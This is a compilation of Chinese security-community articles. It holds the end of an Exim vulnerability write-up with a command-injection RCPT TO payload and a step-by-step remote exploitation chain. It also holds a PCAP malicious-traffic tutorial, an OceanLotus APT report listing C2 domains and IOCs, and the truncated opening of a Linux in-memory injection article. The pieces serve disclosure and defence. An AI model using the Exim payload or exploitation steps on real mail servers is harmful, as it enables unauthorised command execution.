* 我们使用反斜杠转义了收件方地址中的无效字符， 以便`expand_string()`后续处理（在`expand_string_internal()`以及`transport_set_up_command()`函数中会调用）。
## 0x02 远程利用
我们的本地利用方法并不适合于远程利用场景，这是因为Exim默认配置的`verify = recipient`
ACL（访问控制列表）会要求收件人地址的本地部分（即`@`之前的部分）必须是本地用户的名称，如下所示：
john@debian:~$ nc 192.168.56.101 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400
HELO localhost
250 debian Hello localhost [192.168.56.101]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
550 Unrouteable address
### 非默认配置
我们最终设计了一种巧妙的方法，可以用来远程利用默认配置的Exim。我们首先确定了便于远程利用的各种非默认配置：
* 如果管理员手动移除了`verify = recipient` ACL（可能是为了避免通过`RCPT TO`枚举用户名），那么我们的本地利用方法就能远程使用；
* 如果管理员配置Exim可以识别收件方地址本地部分的标签（如通过`local_part_suffix = +* : -*`），那么远程攻击者可以简单复用我们的本地利用方法，其中`RCPT TO`设为`balrog+${run{...}}[@localhost](https://github.com/localhost "@localhost")`即可（这里`balrog`是某个本地用户名）；
* 如果管理员配置Exim作为辅MX（Mail eXchange），将邮件转发至远程域，那么远程攻击者可以简单复用我们的本地里利用方法，其中`RCPT TO`设为`${run{...}}[@khazad](https://github.com/khazad "@khazad").dum`（这里`khazad.dum`是Exim的某个`relay_to_domains`）。实际上，`verify = recipient` ACL只能检查远程地址的域名部分（即`@`之后的部分），不能检查其中的本地部分。
### 默认配置
首先，我们通过一个“反弹（bounce）”消息来解决`verify = recipient`
ACL问题：如果我们发送无法投递的一封邮件，Exim会自动向原始发件人发送（“反弹”）一个投递失败消息。换句话说，原始邮件发送方（即我们的`MAIL
FROM`）现在变成反弹消息的收件方（对应该消息的`RCPT
TO`），因此可以使用`${run{...}}`来执行命令。实际上，在默认配置的Exim中，`verify = sender`
ACL只会检查我们原始发件人地址的域名部分，不去检查本地部分（因为这是一个远程地址）。
接下来，反弹消息会处理到存在漏洞的代码，通过`process_recipients !=
RECIP_ACCEPT`的条件判断，但这里我们不能复用`received_headers_max`技巧，因为我们无法复用我们的头部。我们对第二个问题的解决办法并不是最优解：如果反弹消息在7天后（这是默认的`timeout_frozen_after`值）仍无法投递，那么Exim就会将`process_recipients`设置为`RECIP_FAIL_TIMEOUT`，然后执行存在漏洞的代码。
最后，我们必须解决一个看上去非常棘手的问题：在2天后（默认的`ignore_bounce_errors_after`值），反弹消息如果没有被推迟投递，那么就会被丢弃。而在4天后，根据默认的重试规则（`F,2h,15m;
G,16h,1h,1.5;
F,4d,6h`），被延迟投递的地址会被归入失败地址中，因此会在7天时间期限（`timeout_frozen_after`）之前丢弃反弹消息。我们解决第三个问题以及通用的远程利用问题的方法如下所示（但可能存在更加简单且更快捷的解决方案）：
1、我们连接到存在漏洞Exim服务器，发送无法被投递的一封邮件（因为我们发送了超过`received_headers_max`的`Received:`头）。我们邮件的收件方地址（`RCPT
TO`）设置为`postmaster`，其发送方地址（`MAIL
FROM`）为`${run{...}}[@khazad](https://github.com/khazad
"@khazad").dum`（这里`khazad.dum`为我们可控的一个域名）。
2、由于我们的邮件无法被投递，Exiam会连接到`khazad.dum`的`MX`（我们会监听并接受这个连接），开始向`${run{...}}[@khazad](https://github.com/khazad
"@khazad").dum`发送反弹消息。
3、每隔4分钟向Exim发送一个字节，保持该连接处于打开状态7天（默认的`timeout_frozen_after`）。该操作之所以能成功，是因为Exim会将其发送的SMTP（Simple
Mail Transfer
Protocol）命令所收到的响应数据写入一个4096字节缓冲区中（`DELIVER_BUFFER_SIZE`），请求命令超时时间设为5分钟（默认的`command_timeout`），每收到1个字节就会重置超时时间。
4、在7天后，我们最终发送完冗长的SMTP响应，返回永久投递失败（比如“550 Unrouteable
address”），这样`post_process_one()`函数就会冻结这个反弹消息。该函数实际上应该抛弃这个反弹消息，而不是冻结消息（如果冻结消息，我们就无法访问存在漏洞的代码），因为该消息处理时间已超过2天（默认的`ignore_bounce_errors_after`）：
1613 /* If this is a delivery error, or a message for which no replies are
1614 wanted, and the message's age is greater than ignore_bounce_errors_after,
1615 force the af_ignore_error flag. This will cause the address to be discarded
1616 later (with a log entry). */
1617
1618 if (!*sender_address && message_age >= ignore_bounce_errors_after)
1619 setflag(addr, af_ignore_error);
然而在这个特殊的场景下，`message_age`并不是反弹消息的实际处理时间（超过7天），而是该消息首次从Exim
`spool`中加载的时间（只有几秒或者几分钟）。
5、最终，Exim默认运行的下次队列（在Debian上，默认情况下每隔30分钟）会从`spool`中加载被冻结的反弹消息，将`process_recipients`设置为`RECIP_FAIL_TIMEOUT`（这一次`message_age`为反弹消息的实际处理时间，已超过7天），然后执行存在漏洞的代码以及我们构造的命令（我们原始发送方地址`${run{...}}[@khazad](https://github.com/khazad
"@khazad").dum`为反弹消息的收件地址，会被`expand_string()`解析）。
>
> 备注：如果想快速测试这个远程利用方法，Exim默认设置的`timeout_frozen_after`以及`ignore_bounce_errors_after`天数可以被替换成小时数，默认重试规则可以改为`F,4h,6m`。
## 0x03 致谢
感谢Exim开发人员、Solar Designer以及distros[@openwall](https://github.com/openwall
"@openwall")的小伙伴们。
本文标题“The Return of the WIZard”（注：英文标题）源自Sendmail非常古老的WIZ及DEBUG漏洞：
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0145
https://seclists.org/bugtraq/1995/Feb/56
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0095
http://www.cheswick.com/ches/papers/berferd.pdf
## 0x04 时间线
2019-05-27 向`security[@exim](https://github.com/exim "@exim")`反馈漏洞报告
2019-05-28 向`distros[@openwall](https://github.com/openwall
"@openwall")`反馈漏洞报告 | 社区文章 |
# 恶意流量分析实践系列一
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近研究恶意流量分析，网上似乎相关的文章不多，而且能讲清楚为什么的也近乎没有，这次借完成报告的机会，写几篇相关文章系列，希望能以初学者的视角，探索流量分析中的奥秘，来发掘恶意流量的行为模式。本系列分析的PCAP包均来至于[malware-traffic-analysis.net](http://malware-traffic-analysis.net/training-exercises.html)（除非有特殊说明）。
[点这里下载PCAP](https://pan.baidu.com/s/1f5WiiH-v08Jtq2meAZHA0w) 提取码：`fnuf`
## 从TCP到HTTP
我们使用 **WireShark** 打开本次分析的PCAP包，先输入TCP过滤如下图：
这里我们先简单回忆部分TCP协议知识点：
> **SYN** :同步标志
> **FIN** : 关闭标志
> **ACK** : 响应标志
> **PSH** : DATA传输标志
> **RST** : 链接重置标志
> **Seq** : 序列号
> **Ack** : 确认号
> **Len** : 携带数据长度
在Flags字段可以清楚的观察到所有属性值，如同：
我们可以很清楚的体现出一次一次http从链接到关闭的完整过程：首先是三次握手，之后客户端发起一次TCP请求即是HTTP请求,实际上就是GET一次，GET这一行实际上属于他上面一个的TCP中，我们可以观察这两行的值
之后随机服务器返回一次TCP，Ack=594,实际是由客户端上一次请求时Len+1所得，并非是随机生成，同时自身携带Len=762长度的data,客户端收到数据后发送一个关闭请求，其中Seq=594，Ack为服务端之前返回的Len+1即为763，之后服务端发送Seq=763,Ack=595的确认关闭包，完成后发送一次关闭链接的包，最后由客户端发送一个Seq=595,Ack=764的确认包，一次HTTP结束，这其中实际上HTTP就是被封装在一次TCP中，由此我们可以很清楚的看出TCP协议主要作用于链接通信过程（所以称TCP为传输层协议），而发送的数据主要被封装在HTTP协议中便于客户端和服务器打包以及解析（所以称为应用成协议），因为其定义数据报文格式便于解析，所以被广泛应用，但其缺点也体现出来，每一次CS（客户端服务端）交互都是一次TCP建立，到关闭的过程，实际上当大量请求作于服务器时，会极其消耗其资源，所以便提出长连接，以及由其发展出的WebSocket技术，之后有机会在做介绍，在实际应用开发过程中，基本每种语言都给我们提供了socket
API（套接字编程）,这极大的简化了开发者的开发网络应用的周期，特别是各种应用框架的诞生，又更进一步减轻了开发网络应用的学习成本，Python的Flask，Sanic,
Django等，这里不做详细介绍，后面有机会在出专题系列，对了值得一提的还有一种RPC开发模式，gRPC等一类用于使用该模式快速开发的玩意才属于框架，扯远了。
回归正题，上面我们简要分析一次完整的HTTP协议，剩余的可以自行了解HTTP协议细节，我们之后的分析多为恶意流量分析的实践，遇到新的协议，我也会做一下分析。
## HTTP前奏DNS
当我们直接打开该PCAP包时，不做过滤时，在最开头可以看见两行DNS如图：
### DNS简要分析
首先我们选中第一行，查看其协议属性
可以发现DNS协议的下层协议为UDP传输协议，UDP和TCP的最大区别可以理解为UDP只管发送，不用考虑是否发送成功，TCP则需要考虑是否发送成功，不成功则重发的机制，
DNS协议开头为Transaction ID为标识字段,2字节,用于辨别DNS应答报文是哪个请求报文的响应
**Flags标志位有如下属性:**
> **QR** : 查询/响应,1为响应,0为查询
> **Opcode** : 查询或响应类型,这里0表示标准,1表示反向,2表示服务器状态请求
> **AA** : 授权回答,在响应报文中有效,待会儿再看
> **TC** : 截断,1表示超过512字节并已被截断,0表示没有发生截断
> **RD** : 是否希望得到递归回答
> **RA** : 响应报文中为1表示得到递归响应
> **zero** : 全0保留字段
> **Questions** : (问题数),2字节,通常为1
> **Answer RRs** : (资源记录数),Authority RRs(授权资源记录数),Additional RRs(额外资源记录数)通常为0
> 字段Queries为查询或者响应的正文部分,分为Name Type Class
> **Name** (查询名称):这里是ping后的参数,不定长度以0结束
> **Type** (查询类型):2字节,这里是主机A记录.其各个取值的含义如下:
>
>> 值 | 助记符 | 说明
>> ---|---|---
>> 1 | A | IPv4地址
>> 2 | NS | 名字服务器
>> 5 | CNAME | 规范名称。定义主机的正式名字的别名
>> 6 | SOA | 开始授权。标记一个区的开始
>> 11 | WKS | 熟知服务，定义主机提供的网络服务
>> 12 | PTR | 指针。把IP地址转化为域名
>> 13 | HINFO | 主机信息，给出主机使用的硬件和操作系统的表述
>> 15 | MX | 邮件交换。把邮件改变路由送到邮件服务器
>> 28 | AAAA | IPv6地址
>> 252 | AXFR | 传送整个区的请求
>> 255 | ANY | 对所有记录的请求
>
> **Class** :2字节,IN表示Internet数据,通常为1
在上图我们可以发现Queries 中查询的域名为：
`va872g.g90e1h.b8.642b63u.j985a2.v33e.37.pa269cc.e8mfzdgrf7g0.groupprograms[.]in`
我们在来看看`192.168.138.2`（看IP，其属于本地域名服务器）返回的应答，其中在Answers字段返回了Address值为：62.75.195.236，即是上方域名的地址，也就是之后客户发起HTTP请求的目标服务器地址，如下图：
一次正常的DNS请求以返回大概就长这样，当然域名有点不正常，之后我们在分析，这里我们回忆一下DNS部分细节，很多相关文章百度都能找到，这里简要说明，首先DNS是递归查询的：
1 查本地hosts
2 查本地DNS解析缓存
3 查本地DNS服务器解析区域（可以在TCP/IP中设置参数）
4 本地DNS服务器解析过的映射
5 查转发
6 查root
7 查归属服务器
8 查下级DNS服务器
9 同上
以上过程均是上已过程未查询到的后的查询步骤，由此我们这里就可以想到是否可以通过DNS搭建隧道？
### DNS隧道原理简述
DNS隧道的优点在于其通过服务器53端口来进行通信，而53端口正常来说属于域名服务查询专属端口，防火墙规则一般在严格都会允许此端口通信，所以CS(Cobalt
Strike)其DNS通信模式成为其一大特色
DNS隧道一般分为两种直接连接和中继连接，直接连接相对简单，就是将数据封装隐藏在Client和DNS Server
通信的协议包中，但隐蔽性较弱，而且在指定DNS
Server时容易被监测到，而中继连接相对来说，更加隐蔽，但速度会很慢，因为Client发送的数据包要经过多个节点才能到达我指定的DNS
Server(其实就类似伪造一台DNS Server 当然也许大佬神仙们真有一台权威DNS Server也说不一定哈)，同时我们还需要
**规避Client本地的DNS缓存** ，这里有一个很有意思的算法 **DGA域名生成算法**
，该算法主要被恶意软件用于生成为随机域名，有效绕过黑名单检测，尝试连接，寻找C2中控。后面有机会做一份详细介绍，当然针对该随机生成域名的算法是否有防御策略呢？攻防无绝对，实际上也有许多文章讨论过针对DGA域名生成算法的检测方法，这里打住，不然又跑题了，至于搭建DNS隧道的方法，这里不再多提，借助CS会很简单，GitHub上也又相应的DNS隧道脚本[dnscat2](https://github.com/search?q=dnscat2&type=)这个可以搜索一下，至于利用DNS传输文件，则需要注意DNS数据长度限制。
## HTTP中的恶意行为分析
提及恶意流量分析，我自己经过分析某些恶意软件，以及某些APT攻击活动中使用的恶意样本文件，总结些经验，就如今来说大部分恶意软件，以及C&C
Server多使用http流量交互（不局限于此），左图为某Any[.]run上某恶意样本的网络行为报告，可以发现其完全使用HTTP以及DNS来进行通信，实现控制，这里不对该样本做详细分析
因此，很多时候，我们在做手工流量包分析时，可以先从HTTP流量行为上分析入手，可能理清思路要快很多。对了这里有个小技巧，我们可以先把PCAP包丢到VT上看一下，当然如果又IDS告警文件就更好了。
可以发现 其有exploit-kit malware trojan等标签，简单判断该流量是否携带恶意行为。
### 恶意的HTTP行为特征
我们来开始分析该PCAP包中的流量行为，在分析流量行为前，我更喜欢先把角色列出来，也就是我们先把相关IP列一下，这里使用PA-Tool Kit，如同：
PA-Tool Kit的插件可以帮我们快速的整理出IP段范围，以及HTPP请求等。
我们可以先尝试过滤`http.response`开始，如图：
随后我们仅分析恶意服务返回的数据报文里面是否携带相关恶意代码，这里我们很简单就能想到去找找有没有恶意的js代码，我们选中第一行，右键追踪流—>HTTP
随后我们发现其创造了一个flash object, iframe,同时设置了一个恶意src，我们继续看下一行响应果然确实为一个flash
我们尝试导入出来丢入VT上看一下
果然，我们可以看出来这是使用了CVE-2015-0311,这里有一篇该CVE报告
[漏洞追踪：Flash严重漏洞（CVE-2015-0311）详细技术分析](https://www.freebuf.com/vuls/57925.html)
这里不对该CVE做详细讨论，我们继续看下一行请求
所以我们已经基本拿到了恶意请求的参数，这里我们就可以追踪一下b51开头的参数
提取出来，上VT
这里我们不对该样本分析，一是年代久远，二这里我们注意讨论流量行为，这里完全PC已经被下载该文件后已经被感染
感染后的流量行为：
## 感染型的HTTP恶意行为简单总结
从上面的分析过程中，我们可以简单的总结出一种规律，在恶意的HTTP行为中有2个这样的特征：
> 1 奇奇怪怪的URL,当然也并非所有类似的URL都指向恶意站点，所以我们可以通过在线的威胁情报网站来查询入：微步，VT等
>
> 2 返回数据里面携带恶意参数，入恶意js脚本等，恶意文件等，但如今各种加密反侦察技术也使得人工分析还是需要大量的人力成本
## 恶意流量行为总结
在学习恶意分析的过程中，我花了很多时间去思考恶意流量和白流量的本质区别，就现在来说从行为上去分类他们确实是一个不错的idea,由此也提出一个问题，什么才是恶意行为呢？其实比较简单，我们这样想，如果一个陌生人来你家打砸抢，行窃，对你的财产等等造成损失，你是否就认同这陌生人的行为就是恶意的，同理在一系列的流量行为，其造成引发的结果是否对原住者造成损失，由此判断其是否属于恶意流量行为，总结来说，有一下几点：
> 1. **攻击型行为** ：发送扫描包，或携带漏洞payload的字段的攻击型数据包
> 2. **破坏型行为** ：例如通过大量发送SYN包而不接受返回，造成的网络服务崩溃（DDOS）等
> 3. **感染型行为** ：通过存在漏洞的组件或软件植入恶意代码（shellcode等），来下载恶意样本，得到控制权限
> 4. **窃密型行为** ：如各种rat，trojan等，进行数据窃取的恶意行为，这里下次遇见有该特征的流量包，会做详细分析介绍
>
本次分析前由于是第一期，所以有了比较 站篇幅的协议基础铺垫，下期我们讲侧重于分析感染链式的HTTP流量行为。
## 参考链接
[七夜安全博客-DNS反弹shell](https://mp.weixin.qq.com/s/s18ntS2EPOHxmXSIgM_4YA) | 社区文章 |
# 疑似“海莲花”组织早期针对国内高校的攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
360威胁情报中心近期发现了“海莲花”组织使用的新的CVE-2017-11882漏洞文档，通过对该漏洞文档及相关攻击活动的分析，我们关联到该组织近期针对南亚国家的攻击活动。并且发现了疑似“海莲花”组织在2017年5月初针对国内实施的一次集中式的攻击活动，结合内部的威胁情报数据，我们认为这是该组织利用“永恒之蓝”漏洞实施的一轮重点针对国内高校的攻击活动。
本报告将详细分析“海莲花”组织新的攻击活动中利用的攻击技术细节，并披露其在2017年5月实施的攻击行动详情，以及其中的关联性。
## CVE-2017-11882漏洞文档
360威胁情报中心近期发现了一个“海莲花”组织使用的CVE-2017-11882漏洞文档（MD5：b123f9151c5e7057f061f3e03c1e8416）。
查看漏洞文档内容可以发现，其中使用\objemb指定对象为嵌入式ole对象，并使用\objupdate，强制对象更新，接下来\objdata后面跟着一个Equation3.0对象，并做了大量的混淆，用于对抗杀软引擎识别。将Equation3.0
对象dump出来后，发现栈溢出后返回地址为0x00402114 。
其会跳转到shellcode，shellcode会暴力搜索文件句柄然后通过CreateFileMapping\
MapViewOfFile创建文件映射，然后判断文件头偏移0x3F2C处的一个dword值是否为0x79797979来判断是不是之前的rtf文件，如果是则先获取rtf文件的路径，然后拷贝为temp目录下的ole.dll，接着从文件尾读取的0xC个字节，即”AA
BB CC DD 47 A1 1F 00 79 79 79
79″。再次判断成功后，设置文件指针偏移并读取0x1FA147个字节的shellcode，启动一个新线程执行这段shellcode。
这段新的shellcode将遍历system32目录下的文件，检查有没有vmGuestLibJava.dll以检测虚拟机，如果有则在%appdata%目录下创建一个名为VMware
Guest API Java Support的目录，释放一系列文件；否则在Program Files下创建名为NLS_000001的目录并释放文件。
其中释放的文件列表如下：
释放文件名 | 说明
---|---
**vmGuestLibJava.exe** | Intel(R) Local Management Service 带白签名文件
**ACE.dll** | 加载vmGuestLibJava.db3的shellcode
**Common.dll** | 加载vmGuestLibJava.db3的shellcode
**GmsCommon.dll** | 加载vmGuestLibJava.db3的shellcode
**MSVCP100.dll** | 加载vmGuestLibJava.db3的shellcode
**MSVCR100.dll** | 加载vmGuestLibJava.db3的shellcode
**WsmanClient.dll** | 加载vmGuestLibJava.db3的shellcode
**vmGuestLibJava.db3** | Shellcode
接着创建计划任务以启动vmGuestLibJava.exe，这是一个Intel的签名白文件，导入表中包含了上面列出的ACE.dll、Common.dll等等，这些释放的dll文件实际功能一样，其在导出函数中会读取vmGuestLibJava.db3的shellcode并执行：
其中加载shellcode的部分如下所示。
这段Shellcode再次解密出一个PE并映射到内存中，dump出来后发现是{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll，这个dll为“海莲花”组织使用，并在360威胁情报中心多份“海莲花”报告中都有提及，其连接域名如下。
nnggmpggmeggidggjjggmhggmpggjhggmkggmpggnhggmpggjnggmeggmegg.ijmlajip.straliaenollma.xyz
nnggmpggmeggidggjjggmhggmpggjhggmkggmpggnhggmpggjnggmeggmegg.ijmlajip.ourkekwiciver.com
nnggmpggmeggidggjjggmhggmpggjhggmkggmpggnhggmpggjnggmeggmegg.ijmlajip.dieordaunt.com
结合360威胁情报平台，其中ourkekwiciver.com的子域名于2018年6月5日创建，并映射IP记录154.16.138.89，该IP已经打上“海莲花”组织的标签。
下图为相关域名的近期访问情况，可以看到仍然活跃。
## “海莲花”组织近期针对柬埔寨的攻击活动
通过漏洞文档中使用的相关控制域名信息，并结合360威胁情报数据，我们发现这是“海莲花”组织近期针对柬埔寨人员的APT攻击活动。
### 攻击代码
我们对该次攻击活动中使用的一些攻击载荷和代码的分析如下。
#### PowerShell载荷
“海莲花”组织将部分PowerShell攻击代码伪装成图片文件，并托管在远程服务器地址，例如https://olosirsch.com/cars.png，https://olosirsch.com/search.gif。
其下载后内容为一段PowerShell代码，其会分配一段内存空间，将需要执行的shellcode代码拷贝到内存中，并创建线程执行。
其中shellcode被base64编码，解码后可以发现代码的花指令与之前“海莲花”组织使用的shellcode一模一样。
其中shellcode首先通过PEB获取kernel32的地址和LoadLibrary,
GetProcAddress两个函数的地址，然后使用GetProcAddress获取VirtualAlloc等函数。接着在内存按PE格式依次从PE头、节表、节的顺序复制并解密一个PE文件，然后处理其导入表,
重定位表并调用DllMain。
通过查看该DLL的导出表,
可以看到该DLL名叫{79828CC5-8979-43C0-9299-8E155B397281}.dll，且只有一个导出函数名为DllEntry。此dll文件命名和代码与“海莲花”历史使用的dll文件类似。
导出函数DllEntry实际会在内存解密两个PE文件。其中一个PE结构很多字段填0, 没有导出表，而另一个通过查看导出表发现Dll名为http.dll。
其会从资源中获取一系列控制域名：
dyndns.angusie.com
time.ouisers.com
news.denekasd.com
ipv6.uyllain.com
接着创建多个线程, 并向控制域名发起POST请求发送数据。
**白利用技术**
PowerShell载荷使用了McAfee mcods.exe文件的白利用技术加载恶意的mcvsocfg.dll文件，并且最终访问了远程控制IP的特定端口。
**横向移动载荷**
我们还发现“海莲花”组织在横向移动过程中会在内网的目标机器上使用MsBuild.exe编译生成用于下载、执行PowerShell代码的Loader程序,可以执行本地指定的PowerShell脚本，也可以下载执行指定URL的PowerShell代码。
### 攻击过程
结合攻击活动中使用的载荷文件等信息，我们推测该APT攻击活动的攻击过程如下。
**攻击阶段** | **使用技术**
---|---
**攻击入口** | 利用鱼叉邮件投递漏洞文档，如CVE-2017-11882漏洞文档
**初始控制** | 远程下载伪装成图片的PowerShell脚本载荷
利用McAfee的白利用技术执行核心dll载荷
**横向移动** | 主要利用系统命令实现横向移动：
使用nbt.exe进行扫描
net.exe实现IPC用户添加
MsBuild.exe在内网机器上编译生成恶意dll模块并执行
### 受害目标
我们发现“海莲花”的此次攻击活动中，从2018年3月针对柬埔寨的某机构网络实施了攻击渗透，并通过执行PowerShell载荷请求获取远程URL链接。
<http://isp.cambodiadaily.org/dot.gif>
<http://myaccount.philtimes.org/IE9CompatViewList.xml>
这两个域名看起来像是仿冒philtimes.com和cambodiadaily.com这两个域名，于2017年4月28日同一天注册的。
根据对海莲花渗透柬埔寨某机构过程的分析，我们发现源头之一在该机构一个出口IP上，这个IP的80端口指向了一个路由器登录界面：
可以看到该路由器型号为MikroTik，系统版本为 RouterOS v6.40.4，而该路由器系统版本存在漏洞，其最早在2017年披露的CIA
Vault7中的Chimay Red工具[1]中使用，该路由器相关漏洞近期也由360网络研究院的一篇挖矿攻击的文章中所提及[3]。梳理相关时间线信息如下：
* 2017年3月7日，维基解密披露了 CIA Vault7项目，其中包含的Chimay Red工具能够攻击RouterOS，并上传执行攻击载荷；
* 2017年12月，安全研究人员公开披露了Chimay Red的攻击利用程序[2]；
* 2018年3月，柬埔寨某出口 IP 下被海莲花组织攻击，其 IP 下路由器为MikroTik型号；
* 2018年4月23日，Mikrotik修补了相关漏洞，相关漏洞 ID 为CVE-2018-14847，并影响 RouterOS 6.42以下的系统版本，能够进行绕过认证实现任意目录读取。
我们结合事件的时间线和相关线索推测存在“海莲花”组织利用了路由器的漏洞攻击进入目标网络的可能。
## “海莲花”组织利用“永恒之蓝”（EternalBlue）的攻击行动
我们结合上述攻击事件中“海莲花”使用的攻击利用技术（如使用 McAfee
mcods.exe文件的白利用技术），控制通信特征以及使用的控制基础设施的重叠，发现疑似该组织在2017年5月初对我国境内实施了一次集中的攻击行动，其主要的攻击目标为境内的大学高校。结合相关线索，我们认为是“海莲花”组织利用永恒之蓝漏洞的一次尝试攻击。
### 攻击代码
**lavaudio.exe**
该恶意程序通过服务的形式启动，服务名为Netmans，运行之后会执行文件
c:\program+files\intel\opencl\bin\x86\clang_compiler32.exe
**clang_compiler32.exe**
该恶意文件是一个远控木马，其会解密出4个C2地址，然后连接该C2的IP地址，然后实现远控的功能。
解密算法是和0x39相加解密：
和0x27相加解密出C2信息：
解密出的4个C2地址为：
cloud.sicaogler.com
news.coleope.com
fox.ailloux.com
cnn.befmann.com
解析后连接IP的61781端口。
远控的消息分发模块如下：
以下为远控的创建文件操作：
截至我们分析时，该样本文件在VT上依然具有比较好的免杀效果。
通过搜索发现也有国外人员感染该木马程序，并且hash都一样(http://processchecker.com/file/clang_compiler32.exe.html)。
对比本次事件中木马连接的网络数据格式和针对柬埔寨攻击事件中的木马连接网络数据格式一致，并且使用了相同的远程端口号。可见两个事件中使用的木马控制通信协议具有同源性。
通过分析数据包格式，协议类似gh0st RAT 的格式：
99 01 00 00 //压缩前的数据包长度
a6 00 00 00 //压缩后长度
78 9c 63 62 20 00 8c 0c //内容
0c 4d 0d 8c 8d 8c 75 0d 0d 8d 8d 19 18 1c 53 72
33 f3 32 8b 4b 8a 12 4b f2 8b a0 4a 58 19 99 19
18 81 f4 24 f7 99 6e 2e 0e 57 18 41 6c 47 06 5f
06 17 06 05 86 00 06 67 06 3f 06 57 86 10 20 db
8d 21 91 21 97 21 93 21 87 a1 12 2a e3 09 a4 5d
19 4a 18 32 18 52 19 8a 18 f2 80 64 09 50 c4 91
21 05 a8 b2 00 c8 06 89 2a 30 e8 02 71 41 6a 5e
32 6b f0 c2 6e a1 20 ee aa fe b8 75 f1 dd e1 ef
ab 1e 07 e3 71 37 8f e6 89 3a 3e 06 86 03 2b f4
1b d0 a5 18 09 f9 79 30 00 00 23 75 24 cb
解密方法是用zlib解密，如图：
### 关联分析
对该事件中攻击使用的控制域名进行分析，我们发现域名注册于2017年4月27和28日两天，而针对柬埔寨攻击事件中的仿冒域名同样注册于2017年4月28日：
对相关事件的时间线进行梳理如下：
并且我们对该事件相关受害者在事件发生时间范围的感染数量趋势图如下，其中大部分感染用户属于国内多个高校的网络，并且其中一个感染用户为国内某大型能源企业驻乌干达的机构所属。
在感染量上从 WannaCry 事件全面爆发之后的首个工作日开始呈下降和停止趋势。
### 更多分析推断
360威胁情报中心通过关联的线索发现，2017年5月上旬的攻击活动应该是海莲花所为，他们使用已知的NDAY漏洞永恒之蓝漏洞尝试攻击了国内的目标，并重点针对国内的高校网络，并随后进行横向渗透。
我们也同时发现在该次攻击行动中，“海莲花”组织并未使用其惯用的攻击恶意代码和工具，结合整个事件相关的时间线，我们作出如下合理的推测：
1\. MS17-010
的攻击利用代码公开之后，“海莲花”组织利用公开的利用代码对目标实施攻击尝试，并且为了避免攻击活动被追溯，其选择修改开源RAT代码作为投递的攻击载荷，其首选了具有较强稳定性且开源的gh0st
RAT 作为其控制通信方式，并且做了精简和改造以后达到更好的免杀效果；
2\.
由于“海莲花”组织在开始实施相关攻击活动的数日之后，在国内爆发了WannaCry事件，导致大量受害主机进行清除和还原，一定程度影响了该组织的攻击实施和效果，导致在此事件后相关的感染目标数量急剧减少。
在分析过程中我们也发现了两次攻击活动之间存在某些联系，包括：
* 使用了类似的攻击控制通信协议
* 控制基础设施在同一时间注册
* 使用了同样的白利用技术
* 推测都利用了公开的漏洞利用工具辅助达到攻击渗透的目的等等。
结合内部更多线索的重合，我们认为该次事件的攻击来源疑似“海莲花”组织。
## 总结
结合对过去“海莲花”组织的攻击跟踪，我们认为该组织一直在不断更新和演变其攻击的战术技术特点，并擅长于利用开源或公开的攻击工具和代码用于自身的攻击活动中。
在本报告中，360威胁情报中心再次发现该组织近期的攻击活动，并根据相关线索挖掘到其历史的一次集中式的攻击行动。我们结合多方面的情报线索，梳理并尝试还原其攻击使用的主要手法和技术特点，并给出了一些合理的推测观点。
从这两次攻击活动中可以看出，网络武器库的泄露不仅加剧了网络防御下的严峻现状，而 APT 组织基于泄露的网络武器代码往往能够达到事半功倍的攻击效果。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此APT攻击团伙攻击活动的检测。
## IOC
dieordaunt.com
ourkekwiciver.com
straliaenollma.xyz
dyndns.angusie.com
time.ouisers.com
news.denekasd.com
ipv6.uyllain.com
hotel.bookingshop.info
school.obertamy.com
news.exandre.com
cloud.reneark.com
cctv.avidsonec.com
cloud.sicaogler.com
cnn.befmann.com
news.coleope.com
fox.ailloux.com
myaccount.philtimes.org
isp.cambodiadaily.org
cert.opennetworklab.com
[ns1.cambodiadaily.org](https://www.virustotal.com/#/domain/ns1.cambodiadaily.org)
hotel.bookingshop.info
login.ticketwitheasy.com
http://hotel.bookingshop.info/__utm.gif
http://login.ticketwitheasy.com/dpixel
https://olosirsch.com/droper
https://olosirsch.com/flush.gif
http://myaccount.philtimes.org/IE9CompatViewList.xml
http://isp.cambodiadaily.org/dot.gif
http://cert.opennetworklab.com/verify/certificates/logo.png
5bcf16810c7ef5bce3023d0bbefb4391
a532040810d0e34a28f20347807eb89f
0aed0d7deb43ea3a84b7ef94feec0801
## 参考链接
1.<https://wikileaks.org/ciav7p1/cms/page_16384604.html>
2.<https://github.com/wsxarcher/Chimay-Red>
3.<http://blog.netlab.360.com/7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours/> | 社区文章 |
# Linux Userland内存代码注入实践
|
##### 译文声明
本文是翻译文章，文章原作者 sektor7，文章来源：blog.sektor7.net
原文地址：<https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
突破目标环境后，后续常见的攻击活动包括踩点、信息收集以及权限提升。当目标系统默认情况下没有提供所需工具，或者攻击者需要加快后续侦查行动时，攻击者可能就需要其他功能。
在大多数情况下，攻击者会将专用工具上传到目标系统中运行。这种方法最大的问题是磁盘上会留下攻击痕迹，如果被检测到，防御方可能会获取其他信息，从而危及整个攻击活动。
在最近几年，已经有许多研究人员分析过如何在不落盘的情况下，将代码注入Windows操作系统中（参考[[1]](https://github.com/fdiskyou/Zines/blob/master/29a/29a-6.zip),
[[2]](http://www.hick.org/code/skape/papers/remote-library-injection.pdf),
[[3]](https://www.dc414.org/wp-content/uploads/2011/01/242.pdf),
[[4]](https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/),
[[5]](https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/)及其他资料）。关于`*NIX`系统（特别是Linux）也有许多研究成果，过去有些人提出了非常好的思路，如skape & jt
[[2]](http://www.hick.org/code/skape/papers/remote-library-injection.pdf)、the
grugq [[6]](https://grugq.github.io/docs/ul_exec.txt)、Z0MBiE
